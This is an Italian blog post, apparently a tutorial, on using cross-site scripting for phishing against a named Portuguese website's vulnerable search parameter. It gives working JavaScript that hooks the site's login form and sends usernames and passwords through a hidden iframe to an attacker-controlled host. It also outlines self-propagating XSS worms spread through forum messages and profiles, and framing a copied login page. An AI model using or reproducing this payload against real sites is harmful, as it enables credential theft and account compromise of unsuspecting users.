Gli attacchi su xss sono di sicuro cambiati da quando è il Phishing ha iniziato a farsi conoscere.
Esempio:
(questo è una vera situazione con un sito di web design Portogese)
Sito:http://grandesempresas.seara.com
Pagina afflitte da xss: http://grandesempresas.seara.com/pesquisa/pesquisa.php?chave=
Come potete vedere nell’immagine, c’è un form di login e una vulnerabilità xss nella stessa pagina.
Per effettuare un’attacco di Phishing, avete bisogno di igniettare codice javascript nella variabile in modo da far caricare alla vittima una file JS.
Per una veloce analisi al sito web, posso dire che l’ HTML genera:
- Il risultato che la variabile “chiave” riceve non è filtrato
- Il nome del form di login si chiama “login_clientes”
- Il form di login ha due campi di input per i dati dell’user : “user” e “pass”.
Perciò userò il seguente codice javascript:
loginForm = document.forms['login_clientes']; function parseData() { var username = loginForm.user.value; var password = loginForm.pass.value; saveData(username,password); return true; } function saveData(username,password) { var frame=document.createElement('iframe'); frame.src="http://myhost/myparsefile.php?username=" + username + "&password=" + password; frame.style.display='none'; document.body.appendChild(frame); } loginForm.onsubmit = parseData;
Perciò, se visiterò una pagina come (non dimenticate di encodare la parte di igniezione):
http://grandesempresas.seara.com/pesquisa/pesquisa.php?chave=
Una vittima vi fornirà i vostri dati personali, tutte le volte che cliccherà sul buttone di Submit.
Le idee che devi tenere a mente sono:
– Se si può far caricare codice esterno ad un sito web ad un browser, si può cambiare la natura del sito.
– Se un sito è afflitto da XSS puoi provare a prendere i dati di accesso.
– Se l’user si fida del sito, probabilmente vi darà ogni sua informazione personale in qualsiasi pagina del sudetto.
Ma se trovate una vulnerabilità in una pagina senza forms, ma essi sono presenti in altre pagine?
Provate a codare del codice JS che apre in un frame 100%, la pagina che contiene il form di login.
Se riesci a raggiungere il form all’interno del frame via JavaScript, il lavoro è finito, sennò conserva una copia dell’html sia della pagina di accesso sia dell’ uscita, e invece di caricare in un frame la
vera pagina di accesso, caricare la copia, che avete sotto controllo.
Dato che l’ URL del sito non cambierà, la fiducia degli utenti verso il sito non dovrebbe cambiare di molto.
Che altro puoi fare con le XSS?
Nei forums, e in tutti gli altri tipi di community puoi “diffondere la parola”:
– Se puoi mandare messaggi privati, e sai che il browser dell’utente che lo legge analizzerà il vostro Javascript, puoi fare uno speciale messaggio artigianale che, appena letto, mostra alla vittima la pagina con il form di login e, senza che la vittima lo sappia, manda agli altri folk una copia di se stesso.
Il tuo worm personale.
Come sopra ma, invece di inviare un messaggio privato, si può provare a cambiare i dati del profilo utente e riempirlo di più iniezioni.
Codice JavaScript ” Fuori Luogo” è più probabile che venga analizzato da Internet Explorer che da Mozilla Firefox.
Sia la versione di Internet explorere 6.x che la versione 7.x riescono ad eseguire codice javascript presente in un file “.txt” , cosa che può diventare molto utile dato che per esempio nei post di un forum vi danno la possibilità di lasciare un allegato in “.txt” ma non uno in “.html”.
La versione di Internet Explorer 6.x è capace di eseguire codice javascript contenente nel “src” di alcune immagini.
Esempio:
<img alt="">
Questo sito non è legato a me ma, se ancora non lo conoscete, permettetemi di presentarvelo:
http://ha.ckers.org/xss.html
Questo sito è un utilissimo dizionario di codici per trovare “XSS”. Vi consiglio di leggerlo indipendentemente dalla vostra bravura.
Il cross site scripting è il futuro del Phising.
Pingback: [XSS] Guida Al Cross Site Scripting | InformaticaLab Blog